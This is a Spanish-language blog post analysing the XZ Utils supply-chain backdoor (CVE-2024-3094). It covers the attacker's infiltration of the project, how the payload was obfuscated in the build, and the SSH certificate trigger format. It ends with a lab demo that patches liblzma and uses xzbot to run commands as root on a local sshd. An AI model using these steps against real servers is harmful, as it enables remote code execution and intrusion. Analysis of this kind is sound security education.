Jugando con el backdoor de XZ Utils

Este ha sido uno de los más sonados ataques de cadena de suministro (supply chain attack) de los últimos tiempos. Se trata del backdoor añadido en la utilidad de compresión XZ dentro de libzma (CVE-2024-3094). Al principio se pensaba que era un bypass de autenticación de SSH pero análisis posteriores en mayor profundidad demostraron que se trataba de un serio backdoor que permite ejecución remota de comandos o RCE. Veamos más detalle...

El actor "Jia Tan" comenzó a contribuir de forma normal en el proyecto de código abierto a finales de 2021 para ganarse la confianza, hasta que le hicieron mantenedor en septiembre de 2022. Una vez que podía hacer commits con libertad consiguió que en febrero se publicaran las versiones 5.6.0 y 5.6.1 de XZ con su puerta trasera. Por suerte, Andres Freund - un ingeniero de M$ - no tardó en descubrirlo y el 28 de marzo lo notificó de forma privada a Debian y distros@openwall. RedHat asignó el CVE CVE-2024-3094 y Debian hizo un rollback de urgencia 5.6.1+really5.4.5-1.

Aquí tenemos una genial infografía de Thomas Roccia:

Como veis, el atacante empleó una técnica de doble codificación para ocultar el script. En primer lugar, lo comprimió utilizando el algoritmo xz y, posteriormente, lo cifró con una variante del cifrado RC4 implementada en Awk. En el proceso de build se ejecuta la macro m4 que desofusca el script malicioso que añade un fichero .o con el binario del backdoor que se incluirá en el proceso de compilación/linkado.

El backdoor se puede activar conectándose con un certificado SSH con un payload en el valor N de la clave de firma de CA. Este payload debe estar cifrado y firmado con la clave ED448 del atacante.

La estructura tiene el siguiente formato:

Un byte de comando se deriva de los tres valores mágicos anteriores (cmd1 * cmd2 + cmd3). Si este valor es mayor que 3, la puerta trasera omite el procesamiento.

El texto cifrado se cifra con chacha20 utilizando los primeros 32 bytes de la clave pública ED448 como clave simétrica. Como resultado, podemos descifrar cualquier intento de explotación utilizando la siguiente clave:

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28

34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 

El texto cifrado tiene el siguiente formato:

La firma es una firma RFC-8032 ED448 calculada con los siguientes valores:

  • Los primeros 4 bytes del encabezado (es decir, cmd1)
  • Los primeros 5 bytes del comando.
  • Los primeros 32 bytes del hash sha256 de la clave de host del serv

La puerta trasera utiliza una clave pública ED448 codificada para validar la firma y descifrar el payload. Si reemplazamos esta clave por la nuestra, podemos activar la puerta trasera. En el proyecto https://github.com/amlweems/xzbot tenemos el parche para hacerlo fácil:

$ python3 patch.py liblzma.so.5.6.1

Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch

Luego ejecutamos sshd usando el shared object liblzma.so.5.6.1.patch y para probarlo usamos la utilidad xzbot mencionada:

$ go install github.com/amlweems/xzbot@latest

$ xzbot -h

Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id > /tmp/.xz")

En el ejemplo: 

$ xzbot -cmd 'sleep 60'

$ ps -ef --forest
root         765       1  0 17:58 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         941     765  4 18:04 ?        00:00:00  \_ sshd: root [priv]
sshd         942     941  0 18:04 ?        00:00:00      \_ sshd: root [net]
root         943     941  0 18:04 ?        00:00:00      \_ sh -c sleep 60
root         944     943  0 18:04 ?        00:00:00          \_ sleep 60

Más info y referencias:

Comentarios